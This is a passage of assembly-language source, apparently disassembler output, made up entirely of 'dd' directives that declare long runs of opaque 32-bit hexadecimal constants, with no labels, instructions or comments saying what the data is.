		dd 90D0B0E6h, 476B024Ch, 5AA49DA6h, 29A39080h, 24199F23h
		dd 53C86E0Dh, 483098BAh, 465E03E8h, 37249090h, 270CC35h
		dd 0BE0124BCh, 8E0B8C2Ch, 0A5282460h, 0AA3CACA3h, 45440C4Eh
		dd 5152B0FEh, 18DFA06Bh, 70CC2308h, 68C24B04h, 401EA703h
		dd 90CE3AB0h, 4808718Ch, 1EB090CCh, 0B13B9F2Ch,	2B5018E0h
		dd 3D1D4479h, 31149E73h, 0B328FC79h, 0E2E49Ch, 5E64BC5Bh
		dd 9CC3F893h, 0D10428A6h, 0A82B1FE4h, 14886C93h, 945BC3C0h
		dd 6C50312h, 114B6300h,	9F19D500h, 90C9BBC4h, 301F4884h
		dd 0A23A0401h, 808563C7h, 0C67FA418h, 488CC49Dh, 1D184C7Ch
		dd 7B6F08C8h, 0CF718C8h, 8021EEE4h, 3118A963h, 0C1C037FCh
		dd 0D5CA8318h, 127D6003h, 0AD8449Fh, 4D2B6410h,	81518B8h
		dd 0E18325E4h, 84407F19h, 0F8E60B66h, 0F8F97481h, 18C563B7h
		dd 818C247h, 0DF30BEE9h, 0A49F0C21h, 290824C9h,	0BD820FDh
		dd 88418C6h, 0D7493209h, 2401A9F0h, 80967D5Fh, 44203B9h
		dd 44A082F3h, 30C5E813h, 94062226h, 31E0BDC9h, 5DA8BA78h
		dd 643887BFh, 0F7869F2Eh, 0D9043178h, 8CD80361h, 201ABDF0h
		dd 30DC90A5h, 0A3088223h, 83F069C6h, 502E0624h,	2214509h
		dd 603E82B8h, 0C441E260h, 812D0E48h, 70D60668h,	0CAEAA36Bh
		dd 10C3FCE8h, 18149F43h, 28601038h, 0CA09DFA9h,	247DD83h
		dd 43F93E58h, 2438C37Ch, 9F02168h, 2C00AC23h, 0BC5A3543h
		dd 26012412h, 5B90E806h, 0F0280608h, 8116A022h,	38CFE079h
		dd 311BB0EFh, 85F47826h, 0CEDC2C48h, 2415EA3Eh,	0EB0470DCh
		dd 68C268D1h, 9988A480h, 71AE1891h, 7AFDE441h, 90978020h
		dd 0CE84202Ch, 0F8F22420h
		dd 30B762E8h, 0B8067E4Bh, 0CAC6FE41h, 98BC3820h, 21A40883h
		dd 643D4090h, 109EA62Ch, 440C4F12h, 48A41018h, 41030D4h
		dd 0FD241048h, 0DC7A4C7Ch, 0B2D1327Ch, 0F88FC088h, 0B821E286h
		dd 745CE348h, 10303624h, 0C410623Eh, 0C0A84943h, 8F0311BFh
		dd 8301649Eh, 68E00824h, 7882CB8Ch, 288DED2Dh, 0C398BEA0h
		dd 57246812h, 0C8F74C5Eh, 3CC098C4h, 982C28E3h,	6C6A4CA0h
		dd 0FF4A430Ah, 0FD7C0CC4h, 28902318h, 7C92A198h, 5188254Ch
		dd 24088060h, 831AD87Eh, 24C94847h, 58136B1Bh, 0C40080ACh
		dd 0CA09DE65h, 3048803h, 0A536D814h, 5E022C8Bh,	0D5306686h
		dd 0E68BECC0h, 0A3282C98h, 641A90C9h, 65C0DF62h, 3BFE03A8h
		dd 81FC76C1h, 0B2AB08h,	3A41FAC3h, 2059E3C7h, 2C305824h
		dd 0B6325864h, 0BE693E16h, 2B4B9806h, 60DC9978h, 7839C848h
		dd 226BA1C2h, 617CC165h, 9C83708Dh, 895DD138h, 20A63D8h
		dd 601CA4F4h, 92F1C4B8h, 7AA6322Ch, 8069C008h, 0E41430B8h
		dd 187B5B33h, 3A09A4EDh, 9A841C83h, 24FC2041h, 9806A4h
		dd 8FD4430h, 9091C864h,	742E4D44h, 84000B20h, 27454A7Ah
		dd 146E018h, 3E6A1D87h,	0D36934A7h, 8C2482E1h, 8214E18h
		dd 0F8E278B4h, 0FC20413h, 7CE2964h, 8483CC09h, 44101822h
		dd 0CDAB09D0h, 8678B80h, 6EB7E410h, 6190D0Fh, 2810DBC4h
		dd 63144A84h, 5A561858h, 0CF5E24E0h, 0F367D0F9h, 0F2C608C6h
		dd 0E8701F70h, 10441A58h, 9F197C8Ch, 0A437F77Ch, 9DC308B1h
		dd 0AE44C3F6h, 8C842010h, 0E2677CF8h, 1B487B18h, 8AC340D1h
		dd 4C032078h, 0CEB7408h, 0DC6BA017h, 4B750C99h,	58089C62h
		dd 77A2B80h, 0B5A40ED9h, 0A16BC1FDh, 0A68BF0F3h, 0AB01FC78h
		dd 2452C91Dh, 0A4D0C817h, 61330710h, 41050984h,	0F3CA7544h
		dd 0F004B8C1h, 0CB787A64h, 38DEBC90h, 0C020629Bh, 0B073B096h
		dd 610D06F3h, 68E31BA4h, 0CE2163Ah, 8ED66EBh, 319B41F9h
		dd 88B88FFFh, 0D2CB80E5h, 7F245736h, 0B760C5Ch,	61087FB9h
		dd 8B74C000h, 240DBF38h, 0C0AE5002h, 9B070F2Fh,	0B101344Bh
		dd 0D2ACC82Bh, 0E0A57F61h, 58604E0Bh, 0D6A4908h, 127A84h
		dd 53EFEB73h, 2FFA0477h, 0DBF20A00h, 150FDC89h,	0A78100D3h
		dd 48858B37h, 3C183356h, 0AF204606h, 1EC628ECh,	849800EAh
		dd 834B8A67h, 4527907h,	9152021Ch, 23D3AEEh, 66E031CFh
		dd 45184C08h, 0A7398783h, 48AD65C1h, 0B03C305Ah, 1C3C7052h
		dd 6FDC0005h, 27849BACh, 83363ADBh, 0B03A726h, 9600B947h
		dd 0A9DD3207h, 9B0444AEh, 2E474978h, 3DC8F0Ah, 990F281Eh
		dd 21B7801h, 0D2CA081Ch, 804AE8D1h, 1639F600h, 63D66C6Fh
		dd 0BD58353Bh, 51F38022h, 0DA92DDBBh, 183FF0BAh, 292B62B0h
		dd 1B40C5D5h, 24A63DFDh, 21F5C901h, 9F19A0B6h, 0F7C9018h
		dd 83D10B56h, 18DB3136h, 28CE8910h, 18CDD219h, 62E00827h
		dd 0B710C7D0h, 5A76C2D4h, 0AF9D7260h, 16DD6407h, 874FB9EFh
		dd 0F6808F9Bh, 37BE98C7h, 80A66C7Dh, 0E2E6E3BCh, 0A208BD61h
		dd 208EC068h, 3D816BEEh, 0D1BB7296h, 666C4C40h,	101B93Ch
		dd 7563D897h, 0A8B8F44Eh, 5DBECB03h, 0E0604C69h, 5F921609h
		dd 905620DDh, 2283656h,	70AE1552h, 0EFC00EA3h, 49D621F7h
		dd 96DD620Ah, 6B18FFh, 1A1E98F9h, 0B56300D7h, 1622437Fh
		dd 14A452B7h, 0D721280Ah, 5586C0AEh, 20A8FBFEh,	0B93169D3h
		dd 67C5F0C7h, 20581DE1h, 0E56F0EA7h, 63033528h,	3005B4F5h
		dd 93BB1D3Dh, 0CAA8C2Ch, 6F7DE28Eh, 0B3509570h,	187696D4h
		dd 218BE57h, 0C9AD5D28h, 0F5350264h, 5824E88Ah,	0A6384685h
		dd 48D72096h, 7600101Ch, 0BDBEBF22h, 0FCA0C65Dh, 0BB38705Eh
		dd 6086F7Dh, 8C10A381h,	32CF066Ch, 501869E0h, 0CAFF751Bh
		dd 0A08E8348h, 0C66BAADDh, 18C0CF50h, 0E84EB828h, 89BDE31h
		dd 0B6E09AA9h, 5E984003h, 22E09063h, 0E301491h,	3C7CAC92h
		dd 7118BBF6h, 0F28E108Dh, 187D2890h, 6E284090h,	0F7E3F08Ch
		dd 88EED6C1h, 3E683610h, 188F5C18h, 649090AFh, 5638E460h
		dd 30BF3352h, 0FDF82D7Dh, 0B0C59323h, 0EC06C8DEh, 6108C446h
		dd 25BD2028h, 0CED89BC5h, 108AA320h, 319A5C09h,	0C9114972h
		dd 0B801C898h, 0C740565Dh, 0C40DEE1h, 0C509462h, 0FF9DE8A0h
		dd 619969C6h, 702A48A8h, 10C91618h, 9B664276h, 2A080B60h
		dd 61ACA77Dh, 0EA5D4097h, 0E1308CB8h, 0CCBC40B9h, 0F6185309h
		dd 0B6F8A862h, 16DF83E8h, 0D6181457h, 961B8402h, 14A330F4h
		dd 0B5524919h, 0F824E530h, 61B892CBh, 8EFD7038h, 0ECA047BAh
		dd 7AC19658h, 0E20542E6h, 631222D0h, 8D4E389Bh,	28842035h
		dd 0E6C4F81Eh, 18D1FD82h, 508A6A94h, 898657Bh, 0C1089D39h
		dd 70C21866h, 0F8DD0DBDh, 1898C908h, 71D01962h,	0ECA55090h
		dd 5708DC02h, 15A0486Ah, 8E6898F0h, 0A3090914h,	0CC2324ADh
		dd 28110AB5h, 0C8CFF5BDh, 51F88626h, 6A075514h,	21E4A014h
		dd 16824D9h, 8F983F88h,	0BF8AD86Ch, 230118A5h, 32122AA3h
		dd 11958089h, 13767481h, 0E062D281h, 68831BC2h,	4841BF07h
		dd 0BEE421A8h, 8C771908h, 80244610h, 32C09A8Ah,	0A778C173h
		dd 32A0A48Fh, 0F7FD8002h, 1E1DD0E1h, 8148B452h,	0F66171Ah
		dd 46318857h, 2432247Fh, 42F1E1C2h, 14D51483h, 83DBB118h
		dd 0C654B008h, 80939638h, 920A948h, 82B33BB6h, 60025C90h
		dd 9803A2CCh, 402C9140h, 14E08017h, 0B23A1B44h,	50674D00h
		dd 668B7300h, 589A769h,	0DE378201h, 8839EE3Eh, 78BAC2E0h
		dd 54CE1FE6h, 0B7AE00D9h, 0CDA958D2h, 49634C03h, 8862D51Fh
		dd 329E202h, 0BBD1F6EBh, 0FCF35681h, 81B4F4D9h,	66928858h
		dd 1ECF06A9h, 5FB708h, 0FF83D049h, 4D523A82h, 0B5A0228h
		dd 0E3D280h, 0FC479821h, 8782C202h, 2DF0205h, 44987E69h
		dd 9010E451h, 0C101E2DAh, 42FC4E30h, 62088634h,	5388FFAh
		dd 22F9E575h, 0B203078h, 0D0021DD8h, 61BBD290h,	124C983Bh
		dd 4118018Bh, 1BBFBB5h,	49A040CAh, 28CA6DC6h, 0C9C21846h
		dd 37A0C3A3h, 0A031A190h, 0E96367F0h, 0B7A07CACh, 0F9C37489h
		dd 30EBB841h, 9C69D820h, 2E293EDCh, 45835C7Dh, 1077D4A1h
		dd 8EDE139h, 0C66E809h,	71786494h, 0F2041CA6h, 0EC9AAACDh
		dd 2DFC8100h, 0C41D8967h, 502B6397h, 67E45501h,	2101EBC2h
		dd 5814DB93h, 0E08097B5h, 287CC8B7h, 3A8938Eh, 63F1DDC1h
		dd 0A010DCC9h, 291EEE69h, 88D2FAEFh, 815F42DEh,	0C8A38BD4h
		dd 70008D97h, 2205B2BEh, 0AE4BB088h, 0F7E91D54h, 38959894h
		dd 1C905F01h, 8080C252h, 2DB01A91h, 0A128C294h,	21CB4F6h
		dd 4B307D02h, 0CC87D324h, 736795D4h, 86A88D78h,	28C32591h
		dd 13C673E1h, 15972D8h,	6446E8EAh, 3C45E209h, 0DEC6EB02h
		dd 3F810192h, 1D88925Dh, 9F8EC802h, 0A0C906B3h,	5F815CA5h
		dd 6889B43h, 0D7AD2100h, 1C4E3E04h, 0B08B058Bh,	0B48AC53Bh
		dd 8ACC97B0h, 5F8981Bh,	7066BAAAh, 5E79DD6Ch, 0D1EAA512h
		dd 39168C38h, 0BCC90C5Bh, 9E8F010Ah, 58B518F0h,	5E66F1E9h
		dd 0E8D89AB8h, 185C7894h, 28978B62h, 4B0FB65Fh,	46A2DE9h
		dd 9093A4A9h, 5028E6CCh, 99A2F89Eh, 0F210403Ch,	0F4A8FB30h
		dd 58C516A1h, 0A04C4822h, 7D61132h, 0FF494BB5h,	89422786h
		dd 55A23C83h, 0F6C9A812h, 0B4A8E05Dh, 0B14CAAF8h, 617FE030h
		dd 840954C3h, 60346341h, 0C84293C2h, 4A6C0ECh, 92E8C068h
		dd 98986FCCh, 845A9BA4h
		dd 65CC2808h, 0DE315D08h, 13810596h, 52F8385Fh,	0CE4D4E04h
		dd 541CD1E9h, 0A014986Eh, 97E1F85Dh, 24F4D1CEh,	9D52C1F4h
		dd 0F2CCC040h, 8089C482h, 5C487B61h, 5D0EE088h,	1C7F209Bh
		dd 14BE012Ch, 8154EE15h, 53504D23h, 29A14C24h, 41505C22h
		dd 0CE99AD76h, 0B9411468h, 0CE6E50C4h, 2F7FC270h, 0E1C0BC54h
		dd 0A5023940h, 0D94F0EBCh, 3129B8CDh, 0AEA442AAh, 0CB015C45h
		dd 20B03167h, 1421C884h, 6048C4BDh, 8750C864h, 0FCAC0126h
		dd 86AC10Bh, 2058F840h,	76971587h, 6C16A08Ah, 4C9807FDh
		dd 60C942FAh, 0FE824041h, 8569E201h, 7CFC02E0h,	60709180h
		dd 0C076DA0Ah, 2438BD59h, 290D8CE8h, 0AC4358B2h, 0C30810F7h
		dd 2B3103D6h, 1F35A94Ch, 0FF98171h, 431D2E29h, 0FD36AFC2h
		dd 882403A3h, 0E3507062h, 0B22B7F6Dh, 36A10970h, 0B0966693h
		dd 0D221ED06h, 1328BEB2h, 385FB041h, 9434A5E0h,	0D8451A08h
		dd 448E5FC6h, 82D7047Fh, 4D327DEh, 44CE91B0h, 8CC4320Fh
		dd 2105E288h, 0A48E6858h, 0D766B04h, 86788889h,	0F46134BAh
		dd 843DA2F8h, 42DE8042h, 784838FCh, 115424A2h, 376185C4h
		dd 9AA003F9h, 75827409h, 0CA2C1898h, 0C1D15433h, 6444A001h
		dd 5CFD2969h, 74304078h, 0B4929ED6h, 4396A10Ah,	0C8E07864h
		dd 0A4A99C35h, 9F48B4h,	0AFB68909h, 0FD26541Ch,	0BF184A53h
		dd 2E43E130h, 58D86369h, 6C0895A4h, 0AD20645h, 70A46F2Eh
		dd 772252D0h, 7321135Ah, 0D474399Eh, 2249B47Eh,	34C10B54h
		dd 6209C9Fh, 0E151D93Eh, 610928B4h, 1C639ACAh, 1B1C17B8h
		dd 13442AFh, 0F441B722h, 0E2088430h, 0FC8EB5C0h, 0A0F4302h
		dd 0A101E9F2h, 88946E50h, 909F4CBh, 7C9CAFECh, 0FD26B1E0h
		dd 8241EC0Dh, 0C84B58D4h, 0CDDB1906h, 0E10E290Eh, 40F9E291h
		dd 0C2FFAE1Ah, 0FD2A24E7h, 8CC173ACh, 813984C5h, 0C1A8EBh
		dd 28230857h, 959E8880h, 0D3636E4Dh, 80EEE610h,	0C3EB7D42h
		dd 0F9F34508h, 790B1001h, 0B0E28F9Ah, 0F0F78DC9h, 0FB8525h
		dd 0C6AD67E6h, 0A4F28BF5h, 647D3374h, 0C104D10Bh, 35880159h
		dd 5986FC75h, 607EDF5Bh, 0EF231D12h, 9BF1A100h,	0C5744DFBh
		dd 0C065E518h, 0F37D49D4h, 3844D430h, 35C649Eh,	323851D6h
		dd 19C81B84h, 2000B956h, 7180F92Bh, 17F7AC8h, 0F8067738h
		dd 0BDF1A584h, 0B26D00C1h, 2C6E9F29h, 0F78B0h, 145D78Bh
		dd 0A55568C6h, 0EBA95600h, 0CC4DA097h, 228B0A46h, 0A2ED9Dh
		dd 16DEBEE9h, 6D03818Eh, 8F8DD7FBh, 0FA9DB0DDh,	50710EECh
		dd 0CB8CF71Bh, 0CA605BB1h, 832C93E9h, 786300AFh, 0ABC975AAh
		dd 0E03AF39Ah, 97007E81h, 3F0B99E3h, 0C0FA144Eh, 4C44EAB0h
		dd 0A11D2216h, 5F06EE7Eh, 506A1Dh, 97663925h, 0C5545556h
		dd 6E4AFF00h, 1C0981D6h, 2D420406h, 807D8EBDh, 393D535Ch
		dd 7933700h, 34B74135h,	248900D3h, 33DEDFA0h, 7303504Ch
		dd 55CA2AB0h, 0AF1801C0h, 423ECD61h, 5C66D0DDh,	3F03A800h
		dd 29B39174h, 6CEC4CE2h, 18CC5628h, 20C6754Bh, 0A900EDEFh
		dd 78D90A32h, 745534h, 0C4226714h, 1CD4602Fh, 0F973EE00h
		dd 0D53E79E1h, 8D041DE2h, 51BB46AFh, 1F0010D7h,	53DC1CDAh
		dd 3C2FEADh, 8FAAEAD0h,	2003D3CDh, 594A4098h, 0A629C052h
		dd 4C93FA95h, 18300DECh, 7B6FD488h, 49F5BC00h, 0BA21EF20h
		dd 8DE017h, 0FBCA19FEh,	701DBBACh, 1035B001h, 3DC354E5h
		dd 32249080h, 4EDE4CF1h, 1C2A4B07h, 0C640738Ah,	0EE2D43Eh
		dd 0C4F00C66h, 1EFC87A0h, 6900536Dh, 0B57719DAh, 0C96C94h
		dd 0DF9854CDh, 0AF1CF833h, 463DB00h, 7CB0725Ah,	0F1C27930h
		dd 8AA893h, 8593BF51h, 6300F87Dh, 0E7EC3E80h, 157714Fh
		dd 0FC1040F3h, 40546E0Ch, 9B2AD6D4h, 81A16C3Ah,	579ED3FDh
		dd 46D8EB15h, 63C286Ah,	717CB9h, 31C634E9h, 354E0E80h
		dd 0A6F2891Eh, 576A007Eh, 40A4D048h, 0DDB800FCh, 1CD10DADh
		dd 1FE846AEh, 0BD855707h, 0CE10E530h, 0E3AA6Ch,	0F403E2FEh
		dd 24CFF74Eh, 0BB95220Bh, 12A4802Eh, 7C58A0h, 4B3843F5h
		dd 0F932FE74h, 0FC319A1Fh, 0C11323C1h, 0BFCA282h, 92EAA1h
		dd 89C2D4E2h, 66D012Dh,	942CD000h, 0A481B93h, 0D37A1C08h
		dd 3CAE805Eh, 89C0FF31h, 0CEE6BC00h, 2CF3FBC8h,	0E4DB1E99h
		dd 13281D6h, 0CCA91F66h, 0B600030Fh, 0A6C425A3h, 0C8DC3Eh
		dd 7EC714A5h, 0C94F054Eh, 0DF35D900h, 6ECE01C2h, 50BA0107h
		dd 11DE9BD1h, 0FD8EFC84h, 14806F50h, 0C848AA00h, 0BE3AA4B9h
		dd 2BD10078h, 0CA342528h, 9BA09607h, 0EE0EAF5Dh, 7876C810h
		dd 36D6A74h, 0B814A05Eh, 64D0C030h, 3A133586h, 0C903DBE0h
		dd 0E8D52EF6h, 3155A13h, 3FF5DDE5h, 0E1C09C2Ah,	1838A28Fh
		dd 313480B8h, 49254802h, 85C800FCh, 19221DF9h, 4600E253h
		dd 6843B889h, 17496Ch, 0A44A96B5h, 60A3D0A9h, 8146543Fh
		dd 0FB02EE9Ch, 0FCFCE534h, 19A90004h, 4E4F90CEh, 77016FF2h
		dd 5FBB33A2h, 402F8E55h, 944CCCA8h, 80005B0Fh, 0DCF8AC62h
		dd 0E4A1D760h, 8AF00381h, 16FA72B2h, 3BFB1900h,	0D2CC574Eh
		dd 2EDA00F3h, 9DFE1F12h, 0A71E1930h, 92C0EC97h,	5CC16910h
		dd 0C9F80075h, 4AEE8DC7h, 991E5679h, 0C400D5FCh, 3ACA903Dh
		dd 8AD8034Bh, 1DD7E39Eh, 0C7D5F7E0h, 1F163000h,	0DC876F1Ah
		dd 300874CBh, 9D489127h, 0FC6068B2h, 4F851980h,	5740FDFh
		dd 0EC602606h, 0ADCBDE58h, 82945F00h, 633EB181h, 9C40F2Ah
		dd 0A5C0E240h, 128BBDD7h, 6E3CA700h, 0DD81A26Bh, 51260B7Fh
		dd 2D03AC50h, 0F522C9h,	61B079DEh, 93000A91h, 80A0271Eh
		dd 0FDABCAEh, 1AEF4FCEh, 0A05615E7h, 0A8BA885h,	26612F73h
		dd 0BF398D28h, 28A1D400h, 75FF8A07h, 0A9C02185h, 1FD30AD6h
		dd 2DD75323h, 0DF14D55Ch, 0B1E30814h, 32DA002Fh, 0C68E23D0h
		dd 5044C00h, 2C4A4E13h,	0BECE0048h, 8BCB3512h, 0BF0096A8h
		dd 9549C3B4h, 162C20h, 0E3233747h, 0A4B6C941h, 2E259C01h
		dd 8ECE2F3Ah, 1A55C8h, 16BF10Fh, 9028996Fh, 0ED0188EEh
		dd 0A4D9B5DAh, 83E8276Ch, 60B9060h, 0ABCFC81Dh,	4B7F3839h
		dd 3FC7DF00h, 25A0461Fh, 0E7810ED8h, 97803975h,	0B9BF40C2h
		dd 0F22E4801h, 0CEB4B761h, 0CB4CF0h, 7C83C910h,	1E1617EAh
		dd 68CA9400h, 599EBCA6h, 2FE3001Fh, 0E5895430h,	0E80FFBF5h
		dd 3F0BCE6Bh, 0FE060DC0h, 17F4AA84h, 4351D4Ah, 80C5874Bh
		dd 3E995B72h, 76382F00h, 0C0713A1Bh, 67920778h,	605C19E6h
		dd 15CEAC9Dh, 4B53600h,	427BFD58h, 50FB000Ch, 38D0F58Ah
		dd 0E80083D4h, 95FE5408h, 0A3CDB9h, 3640B349h, 0B22A850h
		dd 0C3F36C00h, 0CB9252A4h, 767700DDh, 677EA37Bh, 3C07C1DEh
		dd 3804B227h, 6D6F0F50h, 0B4200E0h, 1AF7622Eh, 0EE007435h
		dd 7E0E4AA7h, 0BBEAD7h,	60CDA00Ch, 0F9F4DF73h, 8E264E07h
		dd 97904424h, 4D0C667h,	3BFD78E4h, 7DCB81EBh, 0D48C47C5h
		dd 2BE020D2h, 327387h, 129B1448h, 0CEE836BFh, 0C8B2300Fh
		dd 0CF811C68h, 8647A860h, 0C415D9C8h, 0C0DF0D10h, 0BCF0F812h
		dd 0D022FB66h, 0B7D10060h, 3720FCB9h, 0C400D815h, 0C3FFE612h
		dd 0D74B4Ah, 7C3FE18Bh,	0B63230B2h, 9DD85F00h, 0C5B4E6Eh
		dd 0F1F60064h, 36FE1706h, 4939519Eh, 55BF8028h,	2F865748h
		dd 6FCE029Ah, 7FA995FCh, 63B5BFC0h, 0BA8C1500h,	0D6DB49C6h
		dd 71CE00D5h, 0B45C7A4Ah, 0C100FDA6h, 1398157Dh, 771A1B0Ah
		dd 45220088h, 0ED946ED2h
		dd 4A013FFDh, 0D1BA85B2h, 0CFC896F0h, 93E400F6h, 0D44D8271h
		dd 28C0EC39h, 298178A9h, 0E9BF0064h, 6C441431h,	0D604ADF6h
		dd 0CC1761E4h, 5D21080h, 8BAF00C3h, 0B2BD6047h,	65046B9h
		dd 29050BB0h, 0DFE2E9F3h, 8CDDA001h, 0B1CFEA56h, 0E170BF9Dh
		dd 0B82E725Fh, 47313h, 7F0542F1h, 5C9A7317h, 0CEB96D00h
		dd 0EE692268h, 0A5380EBFh, 67804719h, 8EF0DFD2h, 0AE13F10Ah
		dd 2024A058h, 4B6AFA00h, 0A5CD935h, 53B99C25h, 5D3100BCh
		dd 68E08BE7h, 91454D01h, 0C7C019B0h, 0E85076ECh, 743E0087h
		dd 7738FB41h, 0E6EAB13Dh, 0F056A100h, 826D18E9h, 1ACD0F6Ch
		dd 0CE40BC1Fh, 2E3B4A93h, 0BE2A4Ch, 19C29DE1h, 3839F9Ch
		dd 83412F2h, 0CB06A3Eh,	7600C01Dh, 3C8FD92Ah, 0F8798h
		dd 0FEFC167Ah, 6B836A07h, 0F51C8E78h, 2C019D91h, 8B82707Eh
		dd 378730h, 8EC41BF6h, 5DA5FBFCh, 7468F300h, 1353BA38h
		dd 2ADCEB45h, 0AA0A1D8Fh, 89CE409Ah, 957CD929h,	1641AC00h
		dd 70288590h, 347100C0h, 0A24427E2h, 0F0003122h, 0CAFF86B6h
		dd 0A86AE7h, 0DAB55081h, 2244EB85h, 0B2462D00h,	0B0F49DB4h
		dd 0B3CD04FDh, 0C0D555F6h, 797E900Ch, 95752800h, 24EF79Bh
		dd 52E4A1h, 1C8C5817h, 72654AF0h, 7C7A607h, 0D890AD5Fh
		dd 0A8EB5Eh, 0F5A2C931h, 0BBCE4B70h, 18862100h,	7E344842h
		dd 796B002Ah, 0B7E2B5A1h, 0C000DB54h, 38E70CB3h, 3AD16340h
		dd 0C89247B6h, 9CB0506Bh, 548A4405h, 91C800D4h,	1150FC1Fh
		dd 9720E700h, 0A43FFBDEh, 6B190302h, 0CCC53733h, 0A57C80F5h
		dd 0AE004E79h, 151123F6h, 1D5B0C88h, 9C393693h,	0B2C9C19Eh
		dd 0C08056EBh, 0C2005FBEh, 0B32B9BDh, 186C16Ah,	2C3B1965h
		dd 0ECB51CFFh, 900F4515h, 11E5A67h, 0FCBB0AF8h,	3DC820h
		dd 3B48940h, 3C20D258h,	0F0B3A00h, 0C78B1680h, 0C320C012h
		dd 1995978Ah, 0B7ACBB00h, 1C81414Bh, 368800F3h,	0D6D9B18Eh
		dd 9C038471h, 0E70ECB1Ah, 64E8EDE9h, 4A9E701Ch,	0D4BD13h
		dd 55AD40DCh, 170047B4h, 0D0E9F612h, 0EB8203h, 0B1A36CBAh
		dd 87F39476h, 7DCF049h,	0FDF1AD55h, 0E02A8EEEh,	999C7C81h
		dd 0DD70A90h, 1D44962h,	79972522h, 9D8024CAh, 5E6C3703h
		dd 0D09513DFh, 0DE034Dh, 3CBF69A2h, 37B02D61h, 18C1CB13h
		dd 0C632A600h, 7F29096h, 0C58A029Ah, 0F040B052h, 0EE0F8B88h
		dd 542D60CCh, 984E0BE5h, 80F30EB2h, 0B03C6411h,	0BEDA01C6h
		dd 24E3053Bh, 80EA6180h, 49161C98h, 78C771D2h, 3DA3C55h
		dd 2972E00h, 0B9FCB1FEh, 4681F900h, 0A26E6619h,	0DCF3004Fh
		dd 0D275A548h, 5F002DCEh, 28E95AB5h, 0E316EC5h,	496AC283h
		dd 40E07AEFh, 0C0B0DA7Eh, 0AEF54F00h, 0D09CDE90h, 62B4264Eh
		dd 5C8038F3h, 0A03D8856h, 0CF00697Ah, 0FD8B612Bh, 0D7ECA5h
		dd 4BBC1B93h, 3F14986Dh, 56B5C70Eh, 17644036h, 7F56C88h
		dd 0CDE8CB25h, 6C020B15h, 78C06BCCh, 43008A74h,	0D30F5B93h
		dd 0E8D07A7h, 4D212438h, 89398480h, 160F5E54h, 803D879Eh
		dd 3A82D7EAh, 29F902C8h, 0A69B6649h, 3607D444h,	69D97042h
		dd 18F1D090h, 7A4100F5h, 3A0C3E54h, 3B0052E9h, 0E6C621BEh
		dd 95383F2Bh, 7FF299F8h, 7DBB3C02h, 0C2B81B6Ah,	811800D2h
		dd 0F22D89h, 0D8BD821Ch, 56301FFFh, 50E4A600h, 0AFB83454h
		dd 0C4590021h, 0D132BD9Ch, 131E3B6Dh, 0AC80DCF9h, 2246F35Ch
		dd 831D0E7Fh, 0DF00FC08h, 0D4DE35A2h, 0B878D614h, 0ADD002F8h
		dd 0C0B968B0h, 38BC93ABh, 660057DEh, 73C62BB7h,	0A91C3D75h
		dd 6587E7ACh, 0B3E7E8EAh, 403E96h, 40C02502h, 9FAE1A30h
		dd 0A72AC804h, 8D83BE18h, 23DDF036h, 411E07B2h,	0A08435DFh
		dd 742D6DEFh, 465D5400h, 4AF8891Ah, 0BF1C0502h,	0C18C503Bh
		dd 3A2125CCh, 36B68B0h,	163E623Ch, 0C0D7F887h, 24A339A6h
		dd 0DFEE157Ah, 88D8AD18h, 76DD8B90h, 0C5900099h, 0AECD66D3h
		dd 65007E6Bh, 0CFED1404h, 39FE438h, 0DB1E7561h,	0A5805CAFh
		dd 770126E8h, 0C7DAF9A8h, 130194Ah, 4C130080h, 0A2B43E95h
		dd 0E300A6BFh, 3929E093h, 4BBBC04h, 0B088384Fh,	0A1648094h
		dd 0AF7BF159h, 71CF511Ch, 0B98E003Bh, 0C42F9D4Ah, 0B98D2h
		dd 747A35CBh, 1D4EEAB6h, 920CE400h, 0C8C19938h,	851200E6h
		dd 0E0BC059Ch, 64004570h, 0ADF2C588h, 3E917493h, 0D29F1F65h
		dd 8678C4D0h, 975880FAh, 0A0009A6Ah, 73DA4EADh,	515BA5h
		dd 0FE8CA37Ah, 0CA3AC0A4h, 3B2793Bh, 0B91B8755h, 0F34CF023h
		dd 0A8D80FDBh, 0E1807D1Dh, 7FCB8A92h, 0B7275A00h, 5006E216h
		dd 67C8005Fh, 0E93D4D34h, 51006084h, 7F3B86F3h,	0F1FDAh
		dd 5A12CC72h, 5D99785h,	430D0B00h, 0D1A6032Bh, 0E0E70098h
		dd 9C7710D6h, 0C20367FFh, 4DC922A5h, 0B24000DDh, 38DA9F5Bh
		dd 0BD17081Ch, 0B900FB89h, 4C5022E2h, 771400AEh, 6C33BE8Ch
		dd 2F3C4B67h, 0E5200013h, 6FCFF9A6h, 28C80077h,	3DFE5FBFh
		dd 630393E6h, 9B82B53h,	0ABE890AEh, 2C10070h, 55621D5Fh
		dd 0BC005B80h, 9BB37AB9h, 388C5B6h, 0B2AC3A5Ch,	92985F6Ch
		dd 0FA01BDE3h, 0E483A06Dh, 0B5F45BBEh, 0B6F01Bh, 122391ECh
		dd 69B42BF4h, 0D803C375h, 8D57C87Dh, 48400C2h, 4D79FC25h
		dd 171F9FEFh, 4EC2D692h, 0F88AA32Dh, 0B8BCE2A1h, 461E1854h
		dd 80632095h, 0F7B5B21Ch, 26CD5E81h, 18F0D7E4h,	2CF10019h
		dd 56118107h, 0A0025EEh, 840E2E3h, 4B42A2h, 53D79BF4h
		dd 0A893B99Fh, 0DA3D48h, 9CB7D505h, 996128h, 0E6B656CBh
		dd 0D9222A29h, 45B8AA00h, 0CEFF6E8Ah, 0C43B0018h, 7F6513A4h
		dd 4D00E781h, 60FBB509h, 1D75AC8Ch, 0C0A1C829h,	4A9B3DD5h
		dd 0BB756C5Ch, 12402B04h, 5FC0E8EDh, 7D39E1Bh, 0DDC52239h
		dd 0FBB8B0FFh, 40F3A7Fh, 435B5133h, 0E82B13F7h,	4103DDh
		dd 0A66CAE80h, 146FCEBCh, 0CC007EEAh, 1B08D949h, 0E1AE21EFh
		dd 0FADB1F4h, 767B3A41h, 2255F160h, 0B6003968h,	81A9FC0Ah
		dd 8CDD5Dh, 48BB836Fh, 0E8933543h, 7831C700h, 51E7D789h
		dd 6F7DD4h, 0B0D25A30h,	0C737C6Ah, 8DBF481Ch, 7EA5F8C0h
		dd 33A393h, 4D3A65Dh, 1FB93FABh, 0E17D3600h, 92983D49h
		dd 4F2200B5h, 0EB19BA13h, 3200C0E5h, 0EC08609Bh, 0FFBD46h
		dd 2229F0D7h, 3B761CBBh, 157C500h, 163134EEh, 0A2041F9Bh
		dd 268D40A6h, 6E63E552h, 79ECC103h, 0D0FCBC90h,	4149B2h
		dd 2370880Fh, 0D839FA7Eh, 891C51F2h, 4240E7DBh,	3A939ECEh
